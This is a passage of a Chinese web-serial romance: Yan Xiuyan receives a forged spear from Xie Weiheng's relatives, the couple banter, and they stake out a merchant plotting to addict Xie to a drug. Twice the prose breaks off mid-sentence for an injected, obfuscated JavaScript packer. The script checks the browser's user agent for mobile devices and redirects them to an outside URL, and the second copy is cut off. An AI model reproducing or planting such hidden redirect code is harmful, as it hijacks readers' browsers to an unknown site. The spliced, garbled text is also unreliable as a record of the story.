小院地处僻静,院内打理得干净整洁。 院边种满了各色花草,月季、茉莉、兰草长势繁茂,郁郁葱葱,一看便知主人家是个喜爱侍弄花草的细心人。 越往深处走,一阵清脆的金属敲击声便愈发清晰,“叮叮当当”的,在静谧的小院里格外悦耳。 燕修延听着声响,又看了看院内的布局,心中大约猜出了几分。 一个皮肤黝黑中年汉子,手里拿着铁锤,反复敲打一块烧得通红的铁块,火星四溅,神情专注。 旁边的竹制躺椅上,躺着一个看起来稍年轻些的男子,皮肤白皙,眉眼慵懒,正闭目养神,神态闲适。 谢小青则端着一个小矮凳,乖乖地坐在那白衣男子身旁,安安静静的,不吵不闹。 听到脚步声,男子闲闲地撩起眼皮,扫了一眼并肩走来的二人,语气平淡,轻轻吐出两个字:“来了。” 132. 过继或者…… “小叔叔、小婶婶。…… “小叔叔、小婶婶。” 谢伟恒抬手从容地向燕修延介绍身侧之人:“修延,这是我的小叔叔谢如安,这位是他明媒正娶的夫人,吕岩。” 燕修延下意识眨了下眼睛,目光在两人身上快速扫过,险些绷不住脸上的神情。 躺椅上眉眼清隽白皙,周身透着书卷气,看着文弱又淡然的是谢如安。 肌肤是常年打铁练就的古铜色,肩背宽阔、手臂肌肉线条紧实的壮硕男子,是吕岩。 不是,吕岩看着比谢如安强壮了不止一倍,真没叫反? 燕修延压下心头的诧异,面上很快恢复如常,依着辈分恭恭敬敬地开口:“小叔叔,小婶婶。” 吕岩本就沉默寡言,只淡淡抬眼扫了燕修延一眼,没多言语,随手将手里烧得发烫的大铁锤往旁边的铁架上一放,发出一声沉闷的声响。 他转身走到一旁的兵器架前,伸手取下一杆通体漆黑、枪身泛着淡淡冷光的长枪,手腕微沉,随手便朝着燕修延丢了过去。 长枪带着沉厚的力道飞至身前,燕修延眼疾手快,伸手稳稳攥住枪柄,入手便是沉甸甸的质感,枪身材质特殊,非金非铁,却冰凉坚硬,握在手里竟刚好贴合掌心的弧度,分量趁手得恰到好处。 燕修延心头一喜,下意识双臂发力,握着长枪在身前抡了两圈,长枪舞动生风,带着破空之声,毫无滞涩之感。 旋即他腰身一转,手腕猛地发力,长枪如流星赶月般斜刺出去,只听“咚”的一声闷响,锋利的枪尖径直扎入院中摆着的厚重石磙里。 燕修延眼底瞬间亮起惊人的光芒,那是遇到心爱之物的狂喜,他握着枪轻轻一拔,枪尖利落退出石磙,他爱不释手地摩挲着枪身:“好枪!当真是世间难寻的好枪!” 谢如安嘴角勾起一抹浅淡的笑意,抬手轻轻朝谢小青招了招。 谢小青会意,迈着小短腿蹦蹦跳跳地跑回屋内,不过片刻,便端着一个木托盘出来,托盘上摆着清茶,还有一碟精致的荷叶糕,糕点呈淡绿色,散发着淡淡的清香,一看便知是精心做的。 “阿岩。” 谢如安朝着吕岩的方向柔声唤了一句,抬手冲他招了招手,语气里满是不易察觉的温柔:“过来歇会儿,别累着了。” 吕岩点点头,沉默着走到院子中央的石桌旁坐下。 谢如安从袖中掏出一方干净的素色锦帕,抬手轻轻替他擦拭额角的汗珠。 他头也没抬,语气平淡地开口:“照理来说,我们早该见上一面,只是阿岩性子冷,不喜欢和旁人接触,便一直耽搁着。如今枪做好了才让伟恒带你过来。” 燕修延的目光黏在长枪上,指尖一遍遍抚过枪身的纹路,满心感激:“多谢小叔叔、小婶婶。” 谢如安笑了笑,挨着吕岩在石桌旁坐下,摆了摆手道:“谢他就行,我可不懂这些打铁造兵器的门道,这枪全是阿岩一手打造的。” 燕修延对着吕岩拱手行了一礼,神色愈发恭敬:“多谢小婶婶费心打造。” 吕岩嘴唇抿了抿,沉默了好半晌,脸颊似乎微微有些泛红,才憋出两个字:“不谢。” 谢伟恒伸手拉了拉燕修延的衣袖,示意他坐下说话,别一直握着枪站着。 燕修延这才恋恋不舍地将长枪靠在石桌旁,跟着谢伟恒在石凳上坐下。 谢小青也抱着自己的小矮凳,屁颠屁颠地挪到石桌旁,小身子坐得笔直,双手乖乖搭在石桌上,一双乌溜溜的大眼睛一眨不眨地盯着燕修延看,满是好奇,像是在看什么新奇物件。 燕修延被这小娃娃看得心头发软,故意冲着她皱了皱鼻子,随即扮了个夸张的鬼脸。 逗得谢小青瞬间绷不住,“咯咯咯”地笑出声来,小身子都跟着一颤一颤的,清脆的笑声在小院里回荡。 笑够了,谢小青伸手拿起一块荷叶糕,塞进小嘴里,小口小口地嚼着,口齿不清地对着燕修延安利:“这个……特别特别好吃!” 燕修延拿起一块荷叶糕,轻轻咬了一口。 糕点入口软糯,绵密不粘牙,淡淡的荷叶清香在舌尖散开,甜度恰到好处,甜而不腻,唇齿留香。 “确实好吃。” 燕修延顺手将手里剩下的半块糕点,自然而然地递到谢伟恒的嘴边。 一抬眼,便撞见谢如安、吕岩,还有谢小青三个人,六只眼睛都直勾勾地盯着他和谢伟恒。 燕修延僵在原地,有些窘迫地开口:“……那个……” 谢伟恒低头,自然地张口,将他手里的半块荷叶糕吃了下去。 谢如安收回目光,端起茶杯抿了一口,笑着说道:“喜欢吃就多吃些,回去的时候,让小青多给你们装一些,带着路上吃,或是回府当茶点都好。” “谢谢小叔叔。”谢伟恒笑着应下。 燕修延端起茶杯,借着喝茶的动作,掩饰脸上的尴尬,目光不动声色地将吕岩细细打量了一遍。 这杆长枪的工艺、材质,皆是顶尖水准,京城里知名的兵器师傅他都认得,大大小小的兵器铺子也逛了不少,从未听过有吕姓,更从未见过吕岩。 谢如安敏锐察觉到燕修延的视线,也不绕弯子,神色淡然地开口:“你心里若是有疑问,直接问便是,阿岩不喜多言,我可以替他回答。” 燕修延摸了摸鼻子,有些不好意思地笑了笑:“我只是有些好奇,小婶婶打造兵器的手艺这般出神入化,却从未在京中听过他的名号。” 谢如安了然一笑,显然早已猜到他会问这个,轻轻拍了拍吕岩的手背:“阿岩打造兵器,从不是为了谋生扬名,他看谁顺眼,便随心做一件相送,全凭心意。这次肯为你做这杆长枪,也是伟恒专程央求到他头上,磨了许久,阿岩才应下的。” 谢伟恒在一旁笑着补充,目光温柔地看向燕修延:“我知道陛下将寒星剑赐给了你,那是天下难寻的宝剑,可我知晓,你自幼习武,最擅长、最心爱用的还是长枪,便想着求小婶婶为你量身打造一杆。” 沉默寡言的吕岩突然开口,声音比之前沉了几分,,目光直直看向燕修延:“你要用我做的枪,穿透犯我大虞疆土、残害我大虞百姓者的胸膛。” 燕修延笑的肆意张扬,他握紧拳头,目光炯炯:“何止穿透他们的胸膛!我还要持此枪,打断他们的帅旗,杀得他们丢盔弃甲、落荒而逃!一路打到他们听到大虞的名字,便吓破胆,再也不敢来犯我大虞分毫!” “好!” 吕岩眼中闪过一丝赞许,端起石桌上的茶杯,站起身道:“我以茶代酒,敬你一杯,愿你此志得酬,护我大虞安宁!” “哪里哪里,该是我敬小婶婶!” 燕修延也站起身,双手捧着茶杯,下意识将杯沿往下压了压,礼数周全:“小婶婶为我打造兵器,又有此家国嘱托,理应我敬您!” 他往下压,吕岩也跟着往下压,两人都执拗得很,谁也不肯让谁,杯沿越压越低,身子也跟着往下弯,眼看两人就要弯着腰趴到地上。 谢如安和谢伟恒看着这一幕,皆是无奈又好笑。 谢如安率先伸手,长臂一伸,直接将身旁执拗的吕岩捞进自己怀里,牢牢圈住,不让他再弯腰。 谢伟恒也快步上前,伸手环住燕修延的腰,轻轻一用力,便将他直挺挺的身子带了起来。 吕岩被谢如安抱着,端着茶杯仰头一口饮尽,随即将茶杯倒扣在石桌上,示意自己饮尽杯中茶,心意已至。 燕修延见状,也学着他的样子,将杯中茶一饮而尽,同样倒扣茶杯,动作干脆利落。 谢如安单手撑着额头,看着眼前这两个性子执拗、却又赤诚坦荡的人,忍不住低笑出声:“你们两个,性子看着天差地别,骨子里却又这般相似。” 谢伟恒搂着燕修延,笑着说道:“我早前便说过,修延性子直爽,和小婶婶一定能相处得来。” 谢如安作为长辈,闲聊了几句,便缓缓询问起谢伟恒和燕修延在京中的近况。 他端着茶杯,状似随意地开口,语气平淡却带着深意:“你们二人如今可有相中的小辈?或着……” 谢伟恒笑着摇了摇头:“不急,我和修延,暂时没有这个打算,眼下这般,便很好。” 燕修延:? 这叔侄俩打什么哑谜呢? 谢如安也不点破,只是轻轻点了点头,没再多说。 他本就不是话多的性子,该问的、该提点的,都已说完,便端起茶杯,慢慢品起茶来。 燕修延满心疑惑,悄悄用胳膊肘碰了碰谢伟恒,眼神示意他给自己解惑。 谢伟恒却只是朝他笑了笑,并未多言,随即起身对着谢如安拱手道:“小叔叔,我和修延中午在京中约了友人办事,不便久留,便先告辞了,改日再来看望您和小婶婶。” “好,路上慢些。”谢如安微微颔首,没有挽留。 谢小青一听两人要走,跳下小凳子,小短腿跑得飞快,大声说道:“少爷,小夫人,你们等等我去给你们装荷叶糕!” 说是装一点,谢小青实在实诚,足 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谢伟恒回头看了一眼,见谢小青还在用力挥手,他也抬手轻轻挥了挥。 谢小青脸上的笑容又灿烂了几分,挥胳膊的动作更用力了。 谢伟恒收回目光,缓缓开口:“小叔叔和小婶婶,是把小青当成自己的孩子养的。” 谢如安和吕岩成亲后,不知从哪得来生子药,可谢如安心疼吕岩,不愿让他受生子的苦楚,便打算从宗族里挑一个乖巧的孩子过继到膝下。 后来两人外出游历时,途经边境的一座小山村,恰逢蛮人摸进村子烧杀劫掠,无恶不作,村子里一片火海,哭声震天。 谢小青的父母为了护住他,将他藏进地窖里,自己用身体死死挡住地窖入口,任凭蛮人打杀,也不肯挪动半步,最终用性命护住了年幼的谢小青。 “谢小青是他的本名,说来也算是一种缘分。小叔叔和小婶婶便把他带在身边,悉心照料,认作亲子。” 但谢小青一直把自己摆在小厮的位置上,恭恭敬敬的,小叔叔和小婶婶劝了多次,也掰不过他的性子,便只能随他去了,心里却始终把他当亲生孩子疼。 燕修延了然,他握紧了手中的长枪,指尖微微用力:“所以小婶婶方才对我说那番话。” “不是。” 谢伟恒摇了摇头,目光凝重:“小婶婶幼年时的经历……和小青一模一样。” 吕岩也是在蛮人的劫掠中失去了家人,孤身一人,才练就了一身打铁的本事,骨子里恨透了外敌,也盼着天下安宁,再无百姓受流离失所、家破人亡之苦。 燕修延掌心紧紧攥住长枪,枪身的冰凉透过掌心传来,却压不住心底的滚烫:“我定会与大虞的万千将士一同,持此长枪,护得边境寸土不让,护得百姓安居乐业,让外敌再不敢来犯!” 谢伟恒掌心轻轻覆在他握着枪的手背上,语气温柔却有力:“你只管往前冲,无论何时,我都会是你最坚强的后盾,永远在你身后。” “这个孩子不错,心性纯良,有家国担当,伟恒眼光很好,他们两人,相处得十分融洽。” 谢如安靠在躺椅上,抬手遮住头顶的阳光。 他顿了顿,轻笑一声,补充道:“我记得伟恒素来不爱吃甜腻的点心,今日却毫不犹豫地吃下修延递过去的半块糕点,现在看来,他不是不爱吃,而是要看这点心,是不是心上人咬过的。” 吕岩沉默地点了点头,眼底闪过一丝赞同。 “伟恒跟你一样,看着温润,实则是个闷在心里坏的,心思细着呢,早就盘算好了一切。” 谢如安拉住吕岩的手腕,轻轻往自己怀里带,指尖轻轻勾住他的衣襟:“让我看看,我的阿岩,今天又想使什么坏招?” 吕岩微微皱眉:“小青他会……” 谢如安先一步看穿他的心思,低声笑道:“放心,那小家伙正忙着藏他那些宝贝,绞尽脑汁想地方,一时半会儿,可不会过来打扰我们。” “怎么办、怎么办,把你们放在哪里才安全啊……” 谢小青抱着一个小木盒,盒子里装着几只肥硕的青蛙,急得团团转,小眉头皱得紧紧的:“刚才应该拜托少爷,把你们一起带走的!” 燕修延扛着长枪,走在街巷之中,一路都在琢磨方才谢如安的话,走了半晌,终于想起来:“那小叔叔的意思,是想让我们过继一个孩子?” 134. 上辈子拐棍托生的吧 燕修延后脑勺轻轻抵在墙面上,眼尾微微上挑,斜斜吊着眼梢睨着谢伟恒。 “想要重赏,也不是不行。” 他半阖着眼,长睫垂落掩去眸中笑意,一点点凑近谢伟恒的唇瓣,气息相缠的刹那,膝盖忽然猛地向上。 谢伟恒早将他的性子摸得通透,这般小伎俩如何能瞒得过他。 他手腕轻转,松开一只手稳稳按住燕修延抬起的膝盖,另一只手扣住他后腰,低头含住燕修延的唇瓣。 同时右腿强势地挤进他双t间,将人牢牢困在自己与墙壁之间,半分退路也不留。 “燕大人当真狠心。” 谢伟恒眼尾染着浅淡的笑意,唇齿相离时溢出一声轻悠悠的叹息,语气里半是委屈半是调笑,“我这颗心,都要被你伤透了。” 燕修延白他一眼,他再不狠心,待会儿吃亏伤身的便是自己:“心碎透了没?” 他嗤笑一声,语气欠欠的,“心碎了,我这就出去拿把扫帚替你扫扫干净——WC?谢伟恒你干什么!” 眼前景象骤然一晃,燕修延只觉得身子一轻,视线陡然拔高,他慌忙伸手扶住谢伟恒的肩膀,惊得瞳孔微缩,声音都带上几分慌乱:“喂,你、你不会是要——” 谢伟恒仰头望着他,笑得眉眼弯弯,眼底满是促狭:“我只是试试看,书上说的是不是真的。” 燕修延心头一紧,直觉告诉他,谢伟恒口中的“书”,绝对不是什么正经典籍。 事实证明,确实不是正经书。 谢伟恒h着燕修延的** 谢伟恒的**在燕修延的**来回,tai起燕修延的**又an下去 燕修延只能像抓住最后一根浮木一般,紧紧抱着谢伟恒的脖颈,指尖轻轻地抓着他的发丝:“你以后再——看那种破书我都给你烧了!” 狗东西,故意挑他说话的时候动作越发厉害。 …… (依旧短暂,读者幻想一下吧,写成这样能不能过审还不一定!) 谢小厮抬头望了眼渐渐沉下来的天色,暗自盘算,少爷和夫人早早就回了院,关起房门一直没再出来。 先把热水烧好,饭菜在灶上煨着吧。 谢伯站在一旁,看着谢小厮现在做事有条不紊,脸上露出欣慰的神色,抬手轻轻拍了拍他的脑袋,语气慈祥:“做得不错,懂事了。” 等到燕修延终于挪到饭桌前坐下时,窗外早已是月上柳梢,夜色沉沉。 他拿起筷子有一下没一下地戳着碗里的白米饭,语气幽怨:“谢书令,你当真是越来越不当人了。” 谢伟恒坐在他身侧,一只手不动声色地搭在燕修延的腿上,指腹轻轻摩挲,笑意温温柔柔:“我只要做燕大人的人,便足够了。” 燕修延斜睨谢伟恒一眼,嘴角抽了抽:“别以为我听不出来你这话里满是歧义。” 谢伟恒勾了勾唇角,语气坦荡:“燕大人能听出来,那是自然。毕竟你我已是夫夫一体,本就该心有灵犀。” “你这张嘴真是越来越油。” 燕修延忍无可忍,夹起一大筷子青菜,直接塞进谢伟恒嘴里,“吃点清淡的,好好刮刮你嘴里的油。” 谢伟恒慢条斯理地咽下口中青菜,刚要开口,便被燕修延抬手死死止住。 燕修延眯起眼,一脸警惕:“你是不是想说,这叫蜜里调油?” 谢伟恒但笑不语,那模样分明就是默认。 “……你爹知道你读书读成这油嘴滑舌的样子么?” 燕修延恶狠狠地咬了口饭,现在挺想给谢允烽写信告状,还没见过谢伟恒被笤帚追着抽。 谢伟恒淡淡一笑,语气从容:“燕大人若是不信,大可修书一封寄往江南,一试便知。” “你让我写我就写?”燕修延翻个白眼,又往谢伟恒碗里夹了一筷子青菜,“赶紧吃你的,饭都堵不上你的嘴。” 谢伟恒果真不再多言,安安静静地用饭,却只盯着面前那一盘青菜动筷。 燕修延看了半晌,终究是没忍住,开口道:“我没让你只盯着青菜死吃。” 谢伟恒抬眸看他,语气温和又欠揍:“今日荤腥吃得够多了,多吃些青菜,免得总有人说我满口荤话。” 燕修延:…… 就不该多这一句嘴! 他气得狠狠咬中嘴里一块脆骨,咬得咯吱作响。 今晚他打死也不跟谢伟恒说话了,他回隔壁房间睡去。 正好前两日太阳好,被子早晒得松软暖和,今晚派上用场了。 吃完放下碗筷。 谢伟恒忽然开口,将话题拉回正事:“燕大人觉得葛云舟何时会派人来递帖子?” 燕修延沉吟片刻,语气笃定:“最少也要等上三日,他生性谨慎,不会贸然行事。而且……他十有八九,会找机会让我亲眼见见那底也伽。” 他原本是想直接将葛云舟拿下审问,可转念一想,倒不如假意与其同流合污,引蛇出洞。 若是此刻打草惊蛇,躲在幕后的人一旦见着点风吹草动又跑了,再想揪出来便难如登天。 谢伟恒微微颔首:“那郝家的门童,打算让谁去扮?” “自然是肖泽和白天铎,还有个伴儿。” 燕修延贼兮兮地一笑,眼底闪过几分促狭,“我连他们到时候该说什么,都一并设计好了。” 谢伟恒眼中露出几分饶有兴致的神色:“哦?怎么设计的?说来听听。” 燕修延朝他勾了勾手指,压低声音:“耳朵凑过来。” …… 郝家门外。 “郝有钱?我们府上,可没有叫这个名字的少爷啊。” 白天铎挠着后脑勺,一脸茫然地看着门外拿着帖子的伙计。 肖泽面无表情地伸出手,轻轻敲了敲他的脑袋:“咱们家小公子本名郝满仓,有钱是他在外行走江湖时用的化名,你忘了?” 白天铎捂着被敲的脑袋,一脸不满:“小少爷在外的化名也太多了,昨儿不是还说,决定叫郝多金吗?” 肖泽淡淡开口,如数家珍:“多金、有钱、有财、满地、满屋、纯金……” “好了好了,你别念了!”白天铎慌忙捂住耳朵,一脸痛苦,“再念我头疼。” 门口的伙计也不想听,这名字怎么个个都跟掉进钱眼里一样。 他懒得再听二人拌嘴,将帖子往肖泽手里一递:“劳烦将这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646292|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帖子转交给郝小公子,多谢。” 说完,伙计拱了拱手,几乎是落荒而逃。 白天铎看着伙计飞快远去的背影,拿起帖子在手里扇着风,撇撇嘴:“真不是我说,头儿这词写的真的好没趣,俗得很。” 肖泽曲起手指,又轻轻敲了下他的额头:“你在头儿面前可敢这么说?他真能一口气给你取一千个名字,让你全部背诵默写。” 白天铎瞬间想起平日里这种经历最多的温瑞,立刻闭紧嘴巴,半个字也不敢再多说。 帖子很快便送到了燕修延手中。 燕修延随手打开扫了一眼,便递给身旁的谢伟恒,接着又抓了一把瓜子嗑起来,语气美滋滋:“不错,又能白吃白喝一顿了。” 帖子上写着,葛云舟邀二人明日一同游船赏景。 谢伟恒合上帖子,微微一笑:“如此一来,明日便有正当借口不上朝了。” 燕修延将瓜子皮丢进碟中,一脸意外:“想不到这话,居然能从你这位忠君守法的谢书令嘴里说出来。” 谢伟恒看向他,笑意温和:“难道燕大人不是这般想的?” 燕修延大方承认,点头如捣蒜:“我这么想很正常啊,我本就懒,能躺着绝不坐着,能歇着绝不忙活。” “无妨。” 谢伟恒伸手,轻轻替他拂去落在衣襟上的瓜子壳,语气宠溺:“燕大人只管躺着便是,剩下的一切交给我就好。” 燕修延:“……谢伟恒是真的变了! 什么话都能往那档子事上拐! 这么能拐,上辈子是拐棍托生的吧! 燕修延趁谢伟恒转身的间隙,飞快吐掉最后一个瓜子壳,脚底抹油一般溜出房门:“我去监察司一趟!” 必须赶紧跑,再待下去,又要被谢伟恒拐带到床上去。 谢伟恒望着他仓皇逃窜的背影,无奈地摇了摇头,低声轻笑,语气里满是纵容:“燕大人这般误会我,当真叫人伤心。看来晚上,是要好好‘交流’一番,才能说清了。” “嘶——” 已经跑出老远的燕修延忽然摸了摸后脑勺,莫名打了个寒颤,心道:幸亏跑得快,谢伟恒指定又在琢磨什么坏招数。 就在燕修延窝在监察司养闲时。 葛云舟坐在书房内,反复琢磨着伙计传回来的消息。 那郝家原是替谢家打理外铺的人家,…… 怪不得那两位公子年纪轻轻,便见识广博,谈吐不凡。 葛云舟有些犹豫,底也伽一事干系重大,究竟要不要让郝满仓沾手。 沉吟许久,他抬手招来酒楼掌柜,沉声道:“你去帮我约见艾先生,今夜子时在我府中相见。” ————————————— 小剧场1: 燕修延在书房内盯着谢伟恒:你今天看的什么书? 谢伟恒:69 燕修延:这是……势? 小剧场2: 燕修延:昨天的书给你烧了,今天你看的是什么书? 谢伟恒:民间写没小说之《蓄谋已久中书令和少年肆意将军的婚后生活》 燕修延:耶,有点似曾相识啊(话不多说,开烧!) 135. 他没付过房租给我啊 “头儿,你还不回去啊?” 温瑞百无聊赖地蹲在宽大的太师椅上,脚尖堪堪点着地面,一双眼睛滴溜溜地盯着案前的人。 燕修延指尖漫不经心地拨弄着桌上的一条药蛇。 药蛇是柳岚的心肝宝贝,从小便被燕修延盘在手里把玩,早被磨得没了半分野性,此刻温顺得像根软绳,任由他修长的手指绕来绕去,连吐信都怯生生的,半点不敢咬他。 “头儿可别再折腾它了。” 温瑞看着药蛇那副蔫头耷脑的模样,忍不住翻了个白眼,出声劝道:“这小东西脾气娇贵得很,真被盘出火气,回头又要绝食抗议,到时候柳岚非得抱着它哭天抢地,嚎得跟杀猪似的,整个监察司都不得安宁。” 燕修延指尖顿了顿,垂眸看向掌心的小蛇绿豆蝇塞子的小眼睛,屈指轻轻弹了弹蛇的小脑袋,语气漫不经心:“敢闹脾气?尽管闹,反正也闹不到我头上。” 温瑞耸耸肩,索性不再多言,该提醒的他都说到了,这位主儿向来我行我素,谁也劝不动。 燕修延又把玩了片刻,才抬眼扫了眼窗外,天色已经彻底暗了下来,铅灰色的天幕压得很低,连最后一丝余晖都被吞没,显然已是深夜。 他拍拍手,将药蛇轻轻放在桌上,起身理了理衣袍:“走了。” 药蛇得了特赦令,瞬间瘫在桌面上,身子软软地趴成一团,连动都懒得动一下,一副彻底解脱的模样,看得温瑞又忍不住想笑。 推开门一股浓郁的饭菜香气便扑面而来,混着肉香与菜香,在微凉的晚风里飘散,勾得人食指大动。 显然是府里的厨子早已备好了晚膳,就等着燕修延回去。 燕修延随手拿起桌上的筷子,指尖敲了敲桌面,语气平淡却带着几分突发奇想:“决定了,今晚我要去葛云舟家房顶蹲着看月亮。” 谢伟恒连片刻的犹豫都没有,抬眸看向他:“我跟你一起。” 燕修延早料到他会这么说,嘴角勾起一抹似笑非笑的弧度,朝他伸出一只手,掌心朝上:“陪看月亮的费用先结一下,概不赊账,不接受看完再付。” 谢伟恒从容地从袖中掏出一只掌心大小的金蟾,沉甸甸的,通体鎏金,雕工精致,分量十足,轻轻放到燕修延的手心里:“这个够么?” 燕修延掂了掂手里的金蟾,挑眉看向谢伟恒:“谢书令倒是早有准备,看来是算准了我要开口。” 谢伟恒唇角微勾,凑近了些许,声音放低:“作为燕大人的内人,自然要提前领会你的意思,时刻备着。” 燕修延:…… 他是真的不想懂谢伟恒话里的那些弯弯绕绕,半点儿都不想。 “来约法一章。” 燕修延竖起一根手指,神色严肃地看向谢伟恒:“以后不许说那些有歧义的荤话,正经些。” 谢伟恒眉头微微蹙起,脸上露出几分真切的疑惑:“我何时说了有歧义的荤话?燕大人怕是想多了,我句句都是真心实意,并无半点不妥。” 燕修延没好气地哼了一声,伸手将桌上所有的素菜,一碟碟全都挪到了谢伟恒面前,堆成了一小堆:“你就装吧,别以为我听不出来。从今天开始你吃素,纯素。” 他特意加重了“纯素”两个字。 顿了顿,他又补上一句,搬出了最后的杀手锏:“若是不听话,我今晚就去陛下宫里打地铺,往后也日日宿在宫中,不回府了。” 谢伟恒看着面前满满当当的素菜,面上依旧淡定自若,从容地拿起筷子,夹了一筷青菜送入口中:“既然如此,那往后若燕大人也说了荤话,又当如何处置?总不能只许州官放火,不许百姓点灯。” “不可能。” 燕修延矢口否认,下巴微扬,一脸理直气壮:“我书读得少,那些拐弯抹角的荤话,我说不出来。” 谢伟恒眼底闪过一丝狡黠,若有所思地点点头:“那往后晚上,我便念书给你听,多教教燕大人,总能学会的。” 燕修延:…… 决定了,今晚他就在葛云舟房顶上打地铺。 白日里葛云舟派人送来了帖子,自然就知道郝家一直在替谢家打理生意。 后续如何,他定然会找人暗中商议对策。 白日里一直有人盯着葛云舟,没发现任何异常动静。 晚上再上他家守株待兔下。 若是能顺利逮到兔子,自然是最好的结果;就算一无所获,能在房顶吹吹风,歇一歇,他的腰至少今晚能够得到休息。 燕修延一边默默想着,一边用饭,筷子时不时夹着肉菜送入口中,可吃着吃着,目光却忍不住时不时瞟向对面的谢伟恒。 谢伟恒也没比自己大多少啊,怎么精力就这般旺盛…… 说起来陛下那般勤政,日理万机,却也不妨碍夜里翻牌子歇息。 对比下来,燕修延竟莫名生出一种“上不如老,下不如小”的郁闷感。 “饭菜不合口么?” 谢伟恒从他第一眼看过来时,便已察觉。 饶是他自认对燕修延了如指掌,也猜不透自家夫人脸上这忽如其来的郁闷,究竟从何而来。 燕修延收回飘远的思绪,扯出一抹自然的神色:“没有,饭菜好吃得很。” 就是嘴里的肉菜却觉得有些腻味,视线不自觉地飘向谢伟恒面前那碟清爽的素菜。 谢伟恒将他的小动作看在眼里,唇角噙着一抹了然的笑,伸手将面前一盘清炒时蔬推到他面前:“不知道燕大人可愿意成全,让我用这碟素菜换你手边那盘肉菜?” 燕修延等的就是这句话,当即就坡下驴,故作一脸勉为其难的模样,将手边那盘香气浓郁的东坡肉推到谢伟恒手边,还不忘再三叮嘱:“行吧,换给你。吃荤菜可以,但不许再说那些乱七八糟的荤话。” “好,我听燕大人的。”谢伟恒笑着应下,眼神温柔,满满都是纵容。 两人用罢晚膳,稍作收拾,便趁着夜色,悄无声息地溜到了葛云舟的宅子外。 葛云舟坐在案前,低着头,一页页翻看上个月的账本,眉头微蹙,神色凝重,显然在盘算着什么。 燕修延慵懒地躺在冰凉的屋顶上,身下铺着随身携带的软布,仰头望着夜空中的一轮圆月,月色清辉洒在他身上,惬意得很。 他手边还放着一碟提前备好的葡萄,随手摘一颗放进嘴里,酸甜的汁水在口中散开,葡萄皮和葡萄籽则随手丢在屋顶上。 谢伟恒轻轻躺在他身侧,与他并肩看着月色,鼻尖萦绕着淡淡的草木香与他身上的清浅气息,低声开口:“若是下场雨,说不定明日屋顶上就会冒出嫩芽,往后咱们再来,就能有免费的葡萄吃了。” 燕修延听了忍不住低笑出声,胸腔微微震动,声音轻快:“那倒是好事,省得下次还要带,直接摘现成的,岂不美哉。” 一碟葡萄很快便被他吃完,燕修延消停了片刻,又摸出一包糖炒花生米,咔嚓咔嚓地嚼着,香气在夜色中散开。 花生米吃完,他打了个哈欠,脑袋不自觉地靠在谢伟恒的肩头,眯着眼打了会儿盹。 歇够了,又摸出一包牛肉酥,慢慢啃着,一副悠闲度日的模样。 又过了许久,四下一片寂静,只有风吹过树叶的沙沙声,葛府内依旧没有任何异样。 燕修延打着哈欠,声音带着几分困倦的疑惑,低声呢喃:“是我们猜错了,还是他早已暗中把消息传递完了……” 话还没说完,燕修延的声音骤然止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对了,我会把这东西做成香的模样,味道调得接近檀香,不易让人察觉。等时机成熟,你把这香送给郝家那人,就说是出自制香大师之手,我早就听说谢伟恒平日里偏爱用檀香,他定然不会起疑。” “可谢家咱们招惹不起啊,若是被谢伟恒发现……” “怕什么?” 艾木都拉语气阴狠:“等谢伟恒彻底上瘾后,咱们就能从他身上榨取数不尽的钱财,等赚够了,直接改头换面,离开京城,找个地方逍遥度日,谁还能找到我们?” 葛云舟沉默了许久,终究是抵不住诱惑,声音低沉地应道:“好吧,我知道了,按你说的做。” 两人再无多余的话,里面的人随即推门离开,脚步匆匆,消失在夜色中。 燕修延和谢伟恒悄无声息地跟了上去,脚步轻捷,始终与对方保持着不远不近的距离。 留在房中的葛云舟,脸上原本的笑容瞬间淡了下去,取而代之的是满满的忧虑与不安。 其实他早已察觉,长期碰底也伽,对自己的身体造成了极大的损伤,时常头晕乏力,心里也萌生了戒断的念头。 可早已成瘾,根本戒不掉。 更何况,他打心底里不想把谢伟恒牵扯进来,谢家绝非他这种小角色能招惹的,一旦东窗事发,他必死无疑。 改头换面?说得轻巧,可普天之下,莫非王土,哪有那么容易逃脱? 可若是不按照吩咐做,对方定然会断了他的底也伽,他更是熬不住。 葛云舟瘫坐在椅子上,眉头紧锁,满心烦躁,绞尽脑汁地想着两全其美的法子,却一筹莫展。 另一边,二人一路尾随来到燕府。 燕修延停下脚步,抬眼打量了一番这宅子,眉眼微微一挑,转头看向谢伟恒,低声笑道:“有意思,他住我的房子,半分房租都没付给我啊。” 136. 瓜子必不可少 “艾木都拉。” “艾木都拉。” 燕修延的声音刚在门口落地。 屋内正背对着门脱外衣的身影,动作骤然僵在半空。 那人连头都没回,像是早就预判到退路,脚下一点,身形朝着敞开的窗户扑去,指尖堪堪碰到窗沿,守在窗外的谢伟恒已然闪身而至。 谢伟恒出手干脆利落,掌风凌厉地劈在那人后颈,力道拿捏得恰到好处,只听一声闷哼,方才还动作迅捷的身影瞬间软倒在地,彻底没了意识。 燕修延缓步踏入屋内,目光快速扫过凌乱的房间,随即动手仔细翻查起来。 抽屉被逐一拉开,木箱被彻底掀开,角落里、床板下,藏得再隐蔽的物件都没能逃过他的眼睛。 一堆封装好的底也伽堆在地上,旁边还散落着不少装着不知名粉末、膏体的瓷瓶、木盒,气味混杂在一起,透着一股诡异的腥甜。 他又转身走到院中,脚边踩到一片黏糊糊的东西,低头瞥了眼,指尖捻起一点搓了搓,眼底闪过一丝了然,想来这便是还未炼制完成的底也伽半成品。 “收获颇丰啊。” 燕修延随手扯过床上干净的床单,将地上所有东西一股脑裹了起来,打了个结实的包裹。 他转头冲着谢伟恒努了努嘴:“先把他带去监察司刑室,折腾半宿,咱们回去睡一觉,白天再审也不迟。” 